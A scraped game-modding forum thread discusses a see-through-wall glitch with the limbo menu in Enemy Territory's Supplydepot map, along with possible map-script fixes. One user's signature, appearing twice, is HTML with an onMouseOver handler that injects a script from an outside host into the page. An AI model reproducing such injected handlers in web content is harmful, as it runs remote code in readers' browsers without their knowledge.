I've noticed for a while now, that if you stand adjacent to a constructible entity that blocks vis, such as the "main gate" or "depot gate" in Supplydepot for example, when you close the limbo menu, it allows you to briefly see through the solid brush as if it wasn't there. The duration of this glimpse is <.5 sec, but it is long enough to see if people are on the other side, and where they are located.
Conceivably, if there is a way to script opening and closing of the limbo menu with a short wait state here and there, perhaps a vstr exploit could be created that would allow you to 'flicker' the door and see the other side like a choppy movie. I'm reasonably sure this is a game engine exploit not particular to certain video cards or drivers.
There is a thread over at Et-center where we have been discussing remaining bugs in Supplydepot, when this item came up. http://www.forums-center.com/viewtopic. ... sc&start=0 The thread also includes a demo demonstrating the bug. I informed them though I would not be able to fix this with a simple etpromapscript, and that a bug of this sort is somewhat more difficult to fix.
Perhaps bani or the other etpro code monkeys around here could shed some light on this situation....
--Mortis
Limbo menu wallhack exploit?
Moderators: Forum moderators, developers
The best bet to fixing it is giving the cheaters computers so fast it calculates the vis data before the person can see. ;x
The thing is that a constructible doesn't really block VIS (or general sight) in the way a wall would. The best you could do is have all brush entities always drawn. Since, I believe, when in the limbo menu it changes the camera position to what you have in the tiny video window. It might be possible to have it kind of preload the data for where you are when you close the menu, or even keep it loaded the entire time.
The thing is that a constructible doesn't really block VIS (or general sight) in the way a wall would. The best you could do is have all brush entities always drawn. Since, I believe, when in the limbo menu it changes the camera position to what you have in the tiny video window. It might be possible to have it kind of preload the data for where you are when you close the menu, or even keep it loaded the entire time.
Got any old idtech3 tutorials you made or saved? Send them my way.
-
mortis
- Posts: 360
- Joined: Tue Jul 06, 2004 11:57 pm
- Location: at the center of the e-universe
- Contact:
Well, I suppose I will have to wait for etpro 3.2.3 or higher, I suppose....lol. It would be nice to nip a potential exploit in the bud. 
Lol, when I said 'bug' I meant 'exploit' of the game engine; that is to say that it was not an individual map issue. I'm pretty sure that the use of the limbo menu to 'peek' through walls was not a feature intended for use in the game.
I knew the limbo camera can behave oddly at times but I didn't know how exactly that they interact with the game. I wish I had the time like when I was younger to study the Q3 engine more. I can do fifty times more in Unrealed that I can ever hope to do in Radiant.
I guess I'll just have to settle for bug-fixing, forum-haunting, and part-time bani-bugging.
--Mortis
Lol, when I said 'bug' I meant 'exploit' of the game engine; that is to say that it was not an individual map issue. I'm pretty sure that the use of the limbo menu to 'peek' through walls was not a feature intended for use in the game.
I knew the limbo camera can behave oddly at times but I didn't know how exactly that they interact with the game. I wish I had the time like when I was younger to study the Q3 engine more. I can do fifty times more in Unrealed that I can ever hope to do in Radiant.
I guess I'll just have to settle for bug-fixing, forum-haunting, and part-time bani-bugging.
--Mortis
Re: Limbo menu wallhack exploit?
The problem that prevents you from seeing the the brush model also prevents you from seeing anything beyond it (namely, players.) This reduces the problem to, at most, an annoyance.mortis wrote:The duration of this glimpse is <.5 sec, but it is long enough to see if people are on the other side, and where they are located.
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
-
mortis
- Posts: 360
- Joined: Tue Jul 06, 2004 11:57 pm
- Location: at the center of the e-universe
- Contact:
I'll have to do some more testing of this tonight, I swear that I recall being able to see players on the other side of the gate. Even more so with the problem described by ouroboro, although bani states that these are two different effects.
What can be done about ouroboro's problem from a scripting point of view, if anything, btw?
--Mortis
What can be done about ouroboro's problem from a scripting point of view, if anything, btw?
--Mortis
There are exceptions to this rule (as bani pointed out with the supply depot demo posted elsewhere), but cases where this can actually happen should be few and far between.
There's really not an efficient way to fix this automatically. On the maps it does occur with (e.g. supply depot), the vis_dummy idea bani just suggested is probably the best idea, but this will have to be done manually. I'm not 100% sure vis_dummy ents will work properly if spawned from a map script, but it's certainly worth trying.
There's really not an efficient way to fix this automatically. On the maps it does occur with (e.g. supply depot), the vis_dummy idea bani just suggested is probably the best idea, but this will have to be done manually. I'm not 100% sure vis_dummy ents will work properly if spawned from a map script, but it's certainly worth trying.
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
